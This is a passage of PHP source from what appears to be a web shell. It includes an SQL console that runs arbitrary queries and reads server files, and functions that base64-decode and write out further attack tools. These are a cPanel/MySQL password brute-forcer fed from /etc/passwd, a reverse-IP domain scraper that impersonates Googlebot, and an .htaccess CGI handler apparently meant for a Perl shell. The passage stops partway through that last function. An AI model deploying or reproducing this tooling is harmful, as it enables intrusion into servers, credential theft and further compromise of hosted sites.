				while($item = $db->fetch($tbls_res)) {

					list($key, $value) = each($item);

                    if(!empty($_POST['sql_count']))

                        $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));

					$value = htmlspecialchars($value);

					echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";

				}

				echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";

				if(@$_POST['p1'] == 'select') {

					$_POST['p1'] = 'query';

                    $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;

					$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);

					$num = $db->fetch();

					$pages = ceil($num['n'] / 30);

                    echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";

                    echo " of $pages";

                    if($_POST['p3'] > 1)

                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";

                    if($_POST['p3'] < $pages)

                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";

                    $_POST['p3']--;

					if($_POST['type']=='pgsql')

						$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);

					else

						$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';

					echo "<br><br>";

				}

				if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {

					$db->query(@$_POST['p2']);

					if($db->res !== false) {

						$title = false;

						echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';

						$line = 1;

						while($item = $db->fetch())	{

							if(!$title)	{

								echo '<tr>';

								foreach($item as $key => $value)

									echo '<th>'.$key.'</th>';

								reset($item);

								$title=true;

								echo '</tr><tr>';

								$line = 2;

							}

							echo '<tr class="l'.$line.'">';

							$line = $line==1?2:1;

							foreach($item as $key => $value) {

								if($value == null)

									echo '<td><i>null</i></td>';

								else

									echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';

							}

							echo '</tr>';

						}

						echo '</table>';

					} else {

						echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';

					}

				}

				echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";

                if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))

                    echo htmlspecialchars($_POST['p2']);

                echo "</textarea><br/><input type=submit value='Execute'>";

				echo "</td></tr>";

			}

			echo "</table></form><br/>";

            if($_POST['type']=='mysql') {

                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");

                if($db->fetch())

                    echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";

            }

			if(@$_POST['p1'] == 'loadfile') {

				$file = $db->loadFile($_POST['p2']);

				echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';

			}

	} else {

        echo htmlspecialchars($db->error());

    }

	echo '</div>';

    yemenfooter();

    

 }
 function yemenbf()
 {
 yemenhead();
   
$cp1 = 'PD9waHAKQHNldF90aW1lX2xpbWl0KDApOwpAZXJyb3JfcmVwb3J0aW5nKDApOwplY2hvICcKPGhlYWQ+Cgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgo8IS0tCmJvZHkgewoJYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsKICAgIGZvbnQtc2l6ZTogMThweDsKCWNvbG9yOiAjY2NjY2NjOwp9CmlucHV0LHRleHRhcmVhLHNlbGVjdHsKZm9udC13ZWlnaHQ6IGJvbGQ7CmNvbG9yOiAjY2NjY2NjOwpkYXNoZWQgI2ZmZmZmZjsKYm9yZGVyOiAxcHgKc29saWQgIzJDMkMyQzsKYmFja2dyb3VuZC1jb2xvcjogIzA4MDgwOAp9CmEgewoJYmFja2dyb3VuZC1jb2xvcjogIzE1MTUxNTsKCXZlcnRpY2FsLWFsaWduOiBib3R0b207Cgljb2xvcjogIzAwMDsKCXRleHQtZGVjb3JhdGlvbjogbm9uZTsKCWZvbnQtc2l6ZTogMjBweDsKCW1hcmdpbjogOHB4OwoJcGFkZGluZzogNnB4OwoJYm9yZGVyOiB0aGluIHNvbGlkICMwMDA7Cn0KYTpob3ZlciB7CgliYWNrZ3JvdW5kLWNvbG9yOiAjMDgwODA4OwoJdmVydGljYWwtYWxpZ246IGJvdHRvbTsKCWNvbG9yOiAjMzMzOwoJdGV4dC1kZWNvcmF0aW9uOiBub25lOwoJZm9udC1zaXplOiAyMHB4OwoJbWFyZ2luOiA4cHg7CglwYWRkaW5nOiA2cHg7Cglib3JkZXI6IHRoaW4gc29saWQgIzAwMDsKfQouc3R5bGUxIHsKCXRleHQtYWxpZ246IGNlbnRlcjsKfQouc3R5bGUyIHsKCWNvbG9yOiAjRkZGRkZGOwoJZm9udC13ZWlnaHQ6IGJvbGQ7Cn0KLnN0eWxlMyB7Cgljb2xvcjogI0ZGRkZGRjs
KfQotLT4KPC9zdHlsZT4KCjwvaGVhZD4KJzsKZnVuY3Rpb24gaW4oJHR5cGUsJG5hbWUsJHNpemUsJHZhbHVlLCRjaGVja2VkPTApIAp7CiRyZXQgPSAiPGlucHV0IHR5cGU9Ii4kdHlwZS4iIG5hbWU9Ii4kbmFtZS4iICI7aWYoJHNpemUgIT0gMCkgCnsKJHJldCAuPSAic2l6ZT0iLiRzaXplLiIgIjt9CiRyZXQgLj0gInZhbHVlPVwiIi4kdmFsdWUuIlwiIjtpZigkY2hlY2tlZCkgJHJldCAuPSAiIGNoZWNrZWQiO3JldHVybiAkcmV0LiI+Ijt9CmVjaG8gIjxicj48dGl0bGU+QnJ1dGUgRm9yY2UgQnkgQkxBQ0suSmFHdUFyPC90aXRsZT48Zm9ybSBuYW1lPWZvcm0gbWV0aG9kPVBPU1Q+IjsKZWNobyBpbignaGlkZGVuJywnZGInLDAsJF9QT1NUWydkYiddKTtlY2hvIGluKCdoaWRkZW4nLCdkYl9zZXJ2ZXInLDAsJF9QT1NUWydkYl9zZXJ2ZXInXSk7ZWNobyBpbignaGlkZGVuJywnZGJfcG9ydCcsMCwkX1BPU1RbJ2RiX3BvcnQnXSk7ZWNobyBpbignaGlkZGVuJywnbXlzcWxfbCcsMCwkX1BPU1RbJ215c3FsX2wnXSk7ZWNobyBpbignaGlkZGVuJywnbXlzcWxfcCcsMCwkX1BPU1RbJ215c3FsX3AnXSk7ZWNobyBpbignaGlkZGVuJywnbXlzcWxfZGInLDAsJF9QT1NUWydteXNxbF9kYiddKTtlY2hvIGluKCdoaWRkZW4nLCdjY2NjJywwLCdkYl9xdWVyeScpOwoKaWYoJF9QT1NUWydwYWdlJ109PSdmaW5kJykKewppZihpc3NldCgkX1BPU1RbJ3VzZXJuYW1lcyddKSAmJmlzc2V0KCRfUE9TVFsncGFzc3dvcmRzJ10pKQ
p7CmlmKCRfUE9TVFsndHlwZSddID09ICdwYXNzd2QnKXsKJGUgPSBleHBsb2RlKCJcbiIsJF9QT1NUWyd1c2VybmFtZXMnXSk7CmZvcmVhY2goJGUgYXMgJHZhbHVlKXsKJGsgPSBleHBsb2RlKCI6IiwkdmFsdWUpOwokdXNlcm5hbWUgLj0gJGtbJzAnXS4iICI7Cn0KfWVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAnc2ltcGxlJyl7CiR1c2VybmFtZSA9IHN0cl9yZXBsYWNlKCJcbiIsJyAnLCRfUE9TVFsndXNlcm5hbWVzJ10pOwp9CiRhMSA9IGV4cGxvZGUoIiAiLCR1c2VybmFtZSk7CiRhMiA9IGV4cGxvZGUoIlxuIiwkX1BPU1RbJ3Bhc3N3b3JkcyddKTsKJGlkMiA9IGNvdW50KCRhMik7CiRvayA9IDA7CmZvcmVhY2goJGExIGFzICR1c2VyICkKewppZigkdXNlciAhPT0gJycpCnsKJHVzZXI9dHJpbSgkdXNlcik7CmZvcigkaT0wOyRpPD0kaWQyOyRpKyspCnsKJHBhc3MgPSB0cmltKCRhMlskaV0pOwppZihAbXlzcWxfY29ubmVjdCgnbG9jYWxob3N0JywkdXNlciwkcGFzcykpCnsKZWNobyAiQkxBQ0t+IHVzZXIgaXMgKDxiPjxmb250IGNvbG9yPWdyZWVuPiR1c2VyPC9mb250PjwvYj4pIFBhc3N3b3JkIGlzICg8Yj48Zm9udCBjb2xvcj1ncmVlbj4kcGFzczwvZm9udD48L2I+KTxiciAvPiI7CiRvaysrOwp9Cn0KfQp9CmVjaG8gIjxocj48Yj5Zb3UgRm91bmQgPGZvbnQgY29sb3I9Z3JlZW4+JG9rPC9mb250PiBDcGFuZWwgQnkgQkxBQ0sgU2NyaXB0IE5hbWU8L2I+IjsKZWNobyAiPGNlbnRlcj48Yj48YSBocmVmP
SIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiI7CmV4aXQ7Cn0KfQo7ZWNobyAnCgoKCjxmb3JtIG1ldGhvZD0iUE9TVCIgdGFyZ2V0PSJfYmxhbmsiPgoJPHN0cm9uZz4KPGlucHV0IG5hbWU9InBhZ2UiIHR5cGU9ImhpZGRlbiIgdmFsdWU9ImZpbmQiPiAgICAgICAgCQkJCQogICAgPC9zdHJvbmc+CiAgICA8dGFibGUgd2lkdGg9IjYwMCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgogICAgPHRyPgogICAgICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSI+PGNlbnRlcj48YnI+CgkJPC9zdHJvbmc+CgkJPGEgaHJlZj0iaHR0cDovL3d3dy5mYWNlYm9vay5jb20vYmxhY2suamFndWFyLjc1IiBjbGFzcz0ic3R5bGUyIj48c3Ryb25nPkRldmVsb3BlZCBCeSAKPGZvbnQgY29sb3I9IiNGRjAwMDAiPkJMQUNLLkphR3VBcjwvZm9udD48L3N0cm9uZz48L2E+PGZvbnQgY29sb3I9IiNGRjAwMDAiPjwvY2VudGVyPjwvdGQ+PC9mb250PgogICAgPC90cj4KICAgIDx0cj4KICAgIDx0ZD4KICAgIDx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjbGFzcz0ic3R5bGUyIiBzdHlsZT0id2lkdGg6IDEzOXB4Ij4KCTxzdHJvbmc+VXNlciA6PC9zdHJvbmc+PC90ZD4KICAgIDx0ZCB2
YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+PHN0cm9uZz48dGV4dGFyZWEgY29scz0iNDAiIHJvd3M9IjEwIiBuYW1lPSJ1c2VybmFtZXMiPjwvdGV4dGFyZWE+PC9zdHJvbmc+PC90ZD4KICAgIDwvdHI+CiAgICA8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTIiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPgoJPHN0cm9uZz5QYXNzIDo8L3N0cm9uZz48L3RkPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij48c3Ryb25nPjx0ZXh0YXJlYSBjb2xzPSI0MCIgcm93cz0iMTAiIG5hbWU9InBhc3N3b3JkcyI+PC90ZXh0YXJlYT48L3N0cm9uZz48L3RkPgogICAgPC90cj4KICAgIDx0cj4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY2xhc3M9InN0eWxlMiIgc3R5bGU9IndpZHRoOiAxMzlweCI+Cgk8c3Ryb25nPlR5cGUgOjwvc3Ryb25nPjwvdGQ+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiPgogICAgPHNwYW4gY2xhc3M9InN0eWxlMiI+PHN0cm9uZz5TaW1wbGUgOiA8L3N0cm9uZz4gPC9zcGFuPgoJPHN0cm9uZz4KCTxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0idHlwZSIgdmFsdWU9InNpbXBsZSIgY2hlY2tlZD0iY2hlY2tlZCIgY2xhc3M9InN0eWxlMyI+PC9zdHJvbmc+CiAgICA8Zm9udCBjbGFzcz0ic3R5bGUyIj48c3Ryb25
nPi9ldGMvcGFzc3dkIDogPC9zdHJvbmc+IDwvZm9udD4KCTxzdHJvbmc+Cgk8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9InR5cGUiIHZhbHVlPSJwYXNzd2QiIGNsYXNzPSJzdHlsZTMiPjwvc3Ryb25nPjxzcGFuIGNsYXNzPSJzdHlsZTMiPjxzdHJvbmc+Cgk8L3N0cm9uZz4KCTwvc3Bhbj4KICAgIDwvdGQ+CiAgICA8L3RyPgogICAgPHRyPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBzdHlsZT0id2lkdGg6IDEzOXB4Ij48L3RkPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij48c3Ryb25nPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzdGFydCI+CiAgICA8L3N0cm9uZz4KICAgIDwvdGQ+CiAgICA8dHI+CjwvZm9ybT4gICAgCiAgICAKICAgIAogICAKJzsKaWYoJF9QT1NUWydhdHQnXT09bnVsbCkKewplY2hvICcJCQkJCQkgJzsKfWVsc2V7CmVjaG8gIgkJCQkJCSAKCQkJCQkJIAoiOwp9';
$file = fopen("cpanel.php" ,"w+");
$file = fopen("cpanel.php" ,"w+");
$write = fwrite ($file ,base64_decode($cp1));
fclose($file);
   echo '<iframe src="cpanel.php" style="height:500px; width:1500px; border:0px;" name="brute">';
   yemenfooter();
   }
   function yemenrev()
   {
   
$reverse = 'PGh0bWw+CjxoZWFkPgo8dGl0bGU+cmV2ZXJzZSBJUCBieSBCTEFDSy5KYUd1QXIgPC90aXRsZT4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9aXNvLTg4NTktMSI+CjwvaGVhZD4KCjw/cGhwCgoKCi8vRWRpdCBieSBCTEFDSy5KYUd1QXIKc2V0X3RpbWVfbGltaXQoMCk7CgoJCgllcnJvcl9yZXBvcnRpbmcoMCk7CgkvL2luaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIm9uIik7CiAgICAKCgoKICAgIAogICAgZWNobycKICAgIDxwIGFsaWduPSJjZW50ZXIiPjxiPjxmb250IGNvbG9yPSIjMDAwMEZGIj5Db2RlZDwvZm9udD48L2I+IAoJPGZvbnQgY29sb3I9IiNGRkZGRkYiPmJ5PC9mb250PgoJPGI+Cgk8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+QkxBQ0suSmFHdUFyPC9mb250PjwvYj48L3A+CiAgICA8Y2VudGVyPjxmb3JtIGFjdGlvbj0iIiBuYW1lPSJmcm0xIiBtZXRob2Q9IkdFVCI+PGZvbnQgZmFjZT0iQXJpYWwiIHNpemU9IjQiIGNvbG9yPSIjODAwMDAwIj48Qj5Eb21haW46PC9mb250PjwvQj4gCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzIiBjbGFzcz0idGV4dGEiIC8+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJSZXZlcnNlIGl0ISIgbmFtZT0ic3VibWl0IiBjbGFzcz0iZ3Jvb3Z5YnV0dG9uIi8+CjxiciAvPjxicj4KPGJyPgo8L2Zvcm0+PC9jZW50ZXI+JzsKCWlmIChpc3NldCgkX0dFVFsncyddKSkKCXsKCQkkZCA9IHVybGRlY29kZSg
kX0dFVFsncyddKTsKCgkJaWYgKHByZWdfbWF0Y2goIi9eaHR0cDpcL1wvKFxTKylcLz8vIiwgJGQpID4gMCkKCQl7CgkJCSRkID0gcHJlZ19yZXBsYWNlKCIvXmh0dHA6XC9cLyguKykvIiwgIlxcMSIsICRkKTsKCQkJJGQgPSBzdHJfcmVwbGFjZSgnLycsbnVsbCwkZCk7CgkJfQoKCQlpZiAocHJlZ19tYXRjaCgiL1x3K1wuXHcrLyIsICRkKSAhPSAwKQoJCXsKCQkJLy8gQ2hlY2sgZm9yIGEgdmFsaWQgSVAgQWRkcmVzcywgaWYgaXQgd2Fzbid0IGVudGVyZWQsIHRyeSB0byBsb29rIGl0IHVwIGFzIGEgaG9zdG5hbWUKCQkJaWYgKHByZWdfbWF0Y2goIi9cZHsxLDN9XC5cZHsxLDN9XC5cZHsxLDN9XC5cZHsxLDN9LyIsICRkKSA9PSAxKQoJCQl7CgkJCQkkaXAgPSAkZDsKCQkJfSBlbHNlIHsKCQkJCSRpcCA9IGdldGhvc3RieW5hbWUoJGQpOwoJCQl9CgkJCWlmIChwcmVnX21hdGNoKCIvXGR7MSwzfVwuXGR7MSwzfVwuXGR7MSwzfVwuXGR7MSwzfS8iLCAkaXApID09IDApCgkJCXsKCQkJCWVjaG8gIjxmb250IGNvbG9yPSNGRkZGRkY+Q291bGQgbm90IHJlc29sdmUgJGQgdG8gYW4gSVAgQWRkcmVzczwvZm9udD4iOwoJCQkJZXhpdDsKCQkJfQoJCQkkYWxsRG9tYWlucyA9IGdldEFsbERvbWFpbnNGcm9tU2VhcmNoKCJodHRwOi8vd3d3LmJpbmcuY29tL3NlYXJjaD9xPWlwJTNBJGlwJmZpcnN0PTEiLCAwKTsKCQkJZWNobyAiPHRhYmxlIGJvcmRlcj0xPiI7CiRjPTA7CgkJCQlmb3JlYWNoKCRhbGxEb21haW5zIGFzIC
RkKQoJCQkJewokYysrOwp9CgplY2hvICI8Zm9udCBjb2xvcj1yZWQ+Q2h1bmcgdGEgY28gPGI+PGZvbnQgY29sb3I9eWVsbG93Pjxmb250IHNpemU9Mz4iLiRjLiI8L2ZvbnQ+PC9mb250PjwvYj4gd2Vic2l0ZXMgdHJlbiBzZXJ2ZXIgPGI+PGJyPjxmb250IGNvbG9yPXJlZD48Zm9udCBzaXplPTM+Ii4kaXAuIjxicj48L2I+PHA+PC9mb250PjwvZm9udD48L2ZvbnQ+IjsKCQkJJGMgPSAwOwoKCgkJCWlmICghaXNzZXQoJF9HRVRbJ2NvbXBhY3QnXSkpCgkJCXsKCQkJCWZvcmVhY2goJGFsbERvbWFpbnMgYXMgJGQpCgkJCQl7CgkJCQkgCSRjKys7CgkJCQkgCSRlc2QgPSBwcmVnX3JlcGxhY2UoIi9cLi8iLCAiXyIsICRkKTsKCQkJCQllY2hvICI8dHI+PHRkPiRjLjwvdGQ+PHRkPjxhIHRhcmdldD1cIl9ibGFua1wiIGhyZWY9XCJodHRwOi8vJGQvXCI+PGZvbnQgY29sb3I9MDBGRjAwPiRkPC9mb250PjwvYT48L2ZvbnQ+PC90ZD4iOwoJCQkJCWVjaG8gIjx0ZCBzdHlsZT1cImRpc3BsYXk6IG5vbmVcIiBjb2xzcGFuPSczJyBpZD1cIndfJGVzZFwiIGJnY29sb3I9XCIjREVERURFXCI+PHRkPiI7CgppZihpc3NldCgkX0dFVFsnYzJuZCddKSkKewokaXB0aHVjPWdldGhvc3RieW5hbWUoJGQpOwplY2hvICI8Zm9udCBjb2xvcj1yZWQ+SVA6PC9mb250Pjxmb250IGNvbG9yPSNGRkZGRkY+Ii4kaXB0aHVjOwppZigkaXA8PiRpcHRodWMpCnsKZWNobyAiPC9mb250Pjxmb250IGNvbG9yPXJlZD49PT48Yj5Nb3ZlZCAhPC9iP
jwvZm9udD4iLiI8L3RkPiI7Cn0KZWxzZQp7CmVjaG8gIjwvZm9udD48Zm9udCBjb2xvcj1ncmVlbj49PT48Yj5PSzwvYj48L2ZvbnQ+Ii4iPC90ZD4iOwp9Cn0KCQkJCX0KCQkJCWVjaG8gIjwvdHI+PC90YWJsZT4iOwoJCQl9IGVsc2UgewoJCQkJZm9yZWFjaCAoJGFsbERvbWFpbnMgYXMgJGQpCgkJCQl7CgkJCQkJZWNobyAiJGQ8YnIgLz4iOwoJCQkJfQoJCQl9CgkJfSBlbHNlIHsKCQkJZWNobyAiPGZvbnQgY29sb3I9cmVkPkRvbWFpbiBob2FjIGlwIHNhaTogJGQ8L2ZvbnQ+IjsKCQl9Cgl9CmZ1bmN0aW9uIGdldEFsbERvbWFpbnNGcm9tU2VhcmNoKCR1cmwsICRtYXhQYWdlcykKewoJJG1heFBhZ2VzID0gKCRtYXhQYWdlcyA9PSAwKSA/IDk5OSA6ICRtYXhQYWdlczsKCSRhbGxSZXN1bHRQYWdlcyA9IGFycmF5KCk7CgkkZmluaXNoZWRQYWdlcyA9YXJyYXkoKTsKCSRhbGxSZXN1bHRQYWdlc1tdPSR1cmw7CgkkYWxsRG9tYWlucyA9IGFycmF5KCk7CgkkYyA9IDA7CgkKCWRvIHsKCQkkYysrOwoKCQkKCQlpZiAoIWVtcHR5KCRhbGxSZXN1bHRQYWdlcykpCgkJewoJCQkvL3Zhcl9kdW1wKCRhbGxSZXN1bHRQYWdlcyk7CgkJCSRyZXN1bHRzID0gZG9SZXN1bHRzUGFnZSgkYWxsUmVzdWx0UGFnZXNbMF0pOwkKCQkJCgkJCWZvcmVhY2ggKCRyZXN1bHRzWydkb21haW5zJ10gYXMgJGQpCgkJCXsKCQkJCSRhbGxEb21haW5zW109JGQ7CgkJCX0KCQkJCgkJCSRmaW5pc2hlZFBhZ2VzW109JGFsbFJlc3VsdFBhZ2VzWzBd
OwoJCQkKCQkJJGFsbFJlc3VsdFBhZ2VzID0gJHJlc3VsdHNbJ3Jlc3VsdFBhZ2VzJ107CgkJCSRuZXdQYWdlcz1hcnJheSgpOwoJCQlmb3JlYWNoKCRhbGxSZXN1bHRQYWdlcyBhcyAkaz0+JHYpCgkJCXsKCQkJCWlmICghaW5fYXJyYXkoJHYsICRmaW5pc2hlZFBhZ2VzKSkKCQkJCXsKCQkJCQkkbmV3UGFnZXNbXT0kdjsKCQkJCX0KCQkJfQoJCQkkYWxsUmVzdWx0UGFnZXMgPSAkbmV3UGFnZXM7CgkJCS8vJGFsbFJlc3VsdFBhZ2VzID0gYXJyYXlfdW5pcXVlKCRhbGxSZXN1bHRQYWdlcyk7CgkJCQkJCQoJCQkvL2VjaG8gIkZpbmlzaGVkIHBhcnNpbmcgJHVybDxiciAvPiI7CgkJfQkKCX0gd2hpbGUgKCFlbXB0eSgkYWxsUmVzdWx0UGFnZXMpICYmICRjIDwgJG1heFBhZ2VzKTsKCXJldHVybiBhcnJheV91bmlxdWUoJGFsbERvbWFpbnMpOwp9CgpmdW5jdGlvbiBkb1Jlc3VsdHNQYWdlKCR1cmwpCnsKCQoJJHVybCA9IHByZWdfcmVwbGFjZSgiLyZhbXA7LyIsICImIiwgJHVybCk7CgkkYm9keSA9IGRpc2d1aXNlX2N1cmwoJHVybCk7CgkKCSRzdWJzID0gYXJyYXkoKTsKCQoJcHJlZ19tYXRjaF9hbGwoIi9cL3NlYXJjaFw/cT1pcCUzQVxkezEsM31cLlxkezEsM31cLlxkezEsM31cLlxkezEsM30mYW1wO2ZpcnN0PVxkezIsM30vaSIsICRib2R5LCAkc3Vicyk7CgkKCQoJZm9yZWFjaCAoJHN1YnNbMF0gYXMgJGsgPT4gJHYpCgl7CgkJJHN1YnNbJGtdID0gImh0dHA6Ly93d3cuYmluZy5jb20iIC4gJHY7Cgl9CgoJJHJ
lc3VsdFBhZ2VzID0gYXJyYXlfdW5pcXVlKCRzdWJzKTsKCQoJJGJvZHlwYXJ0cyA9IHByZWdfc3BsaXQoIi9jbGFzcz1cInNiX21ldGFcIj48Y2l0ZT4vIiwgJGJvZHkpOwoKCSRib2R5cGFydHMgPSBhcnJheV9yZXZlcnNlKCRib2R5cGFydHMpOwoJYXJyYXlfcG9wKCRib2R5cGFydHMpOwoJCglmb3JlYWNoICgkYm9keXBhcnRzIGFzICRrID0+ICR2KQoJewoJCSRib2R5cGFydHNbJGtdID0gc3Vic3RyKCR2LCAwLCBzdHJpcG9zKCR2LCAiPC9jaXRlPiIpKTsKCQlpZiAoc3RycG9zKCRib2R5cGFydHNbJGtdLCAiLyIpID09PSBmYWxzZSkKCQl7CgkJCQoJCX0gZWxzZSB7CgkJCSRib2R5cGFydHNbJGtdID0gc3Vic3RyKCRib2R5cGFydHNbJGtdLCAwLCBzdHJwb3MoJGJvZHlwYXJ0c1ska10sICIvIikpOwoJCX0KCQkkYm9keXBhcnRzWyRrXSA9IHN0cnRvbG93ZXIoJGJvZHlwYXJ0c1ska10pOwoJfQoJCglyZXR1cm4gQXJyYXkoInJlc3VsdFBhZ2VzIiA9PiAkcmVzdWx0UGFnZXMsICJkb21haW5zIiA9PiAkYm9keXBhcnRzKTsKfQoKCgkKCWZ1bmN0aW9uIGRpc2d1aXNlX2N1cmwoJHVybCkKewogICRjdXJsID0gY3VybF9pbml0KCk7CgogIC8vIFNldHVwIGhlYWRlcnMgLSBJIHVzZWQgdGhlIHNhbWUgaGVhZGVycyBmcm9tIEZpcmVmb3ggdmVyc2lvbiAyLjAuMC42CiAgLy8gYmVsb3cgd2FzIHNwbGl0IHVwIGJlY2F1c2UgcGhwLm5ldCBzYWlkIHRoZSBsaW5lIHdhcyB0b28gbG9uZy4gOi8KICAkaGVhZGVyWzBdID
0gIkFjY2VwdDogdGV4dC94bWwsYXBwbGljYXRpb24veG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCwiOwogICRoZWFkZXJbMF0gLj0gInRleHQvaHRtbDtxPTAuOSx0ZXh0L3BsYWluO3E9MC44LGltYWdlL3BuZywqLyo7cT0wLjUiOwogICRoZWFkZXJbXSA9ICJDYWNoZS1Db250cm9sOiBtYXgtYWdlPTAiOwogICRoZWFkZXJbXSA9ICJDb25uZWN0aW9uOiBrZWVwLWFsaXZlIjsKICAkaGVhZGVyW10gPSAiS2VlcC1BbGl2ZTogMzAwIjsKICAkaGVhZGVyW10gPSAiQWNjZXB0LUNoYXJzZXQ6IElTTy04ODU5LTEsdXRmLTg7cT0wLjcsKjtxPTAuNyI7CiAgJGhlYWRlcltdID0gIkFjY2VwdC1MYW5ndWFnZTogZW4tdXMsZW47cT0wLjUiOwogICRoZWFkZXJbXSA9ICJQcmFnbWE6ICI7IC8vIGJyb3dzZXJzIGtlZXAgdGhpcyBibGFuay4KCiAgY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVJMLCAkdXJsKTsKICBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9VU0VSQUdFTlQsICdHb29nbGVib3QvMi4xICgraHR0cDovL3d3dy5nb29nbGUuY29tL2JvdC5odG1sKScpOwogIGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX0hUVFBIRUFERVIsICRoZWFkZXIpOwogIGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1JFRkVSRVIsICdodHRwOi8vd3d3Lmdvb2dsZS5jb20nKTsKICBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9FTkNPRElORywgJ2d6aXAsZGVmbGF0ZScpOwogIGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX
0FVVE9SRUZFUkVSLCB0cnVlKTsKICBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVElNRU9VVCwgMTApOwoKICAkaHRtbCA9IGN1cmxfZXhlYygkY3VybCk7IC8vIGV4ZWN1dGUgdGhlIGN1cmwgY29tbWFuZAogIGN1cmxfY2xvc2UoJGN1cmwpOyAvLyBjbG9zZSB0aGUgY29ubmVjdGlvbgoKICByZXR1cm4gJGh0bWw7IC8vIGFuZCBmaW5hbGx5LCByZXR1cm4gJGh0bWwKfQoKCj8+PGJvZHkgYmdjb2xvcj0iIzAwMDAwMCI+';

$file = fopen("rev.php" ,"w+");
$write = fwrite ($file ,base64_decode($reverse));
fclose($file);
yemenhead();
   echo '<iframe src="rev.php" style="height:500px; width:500px; border:0px;" name="reverse">';
   yemenfooter();
   }
   
   function yemenperl()
   {
    
    mkdir('cgirun', 0755);
    chdir('cgirun');
        $kokdosya = ".htaccess";
        $dosya_adi = "$kokdosya";
        $dosya = fopen ($dosya_adi , 'w') or die ("khong the tao shell!");
        $metin = "AddHandler cgi-script .pr";    
        fwrite ( $dosya , $metin ) ;
        fclose ($dosya);
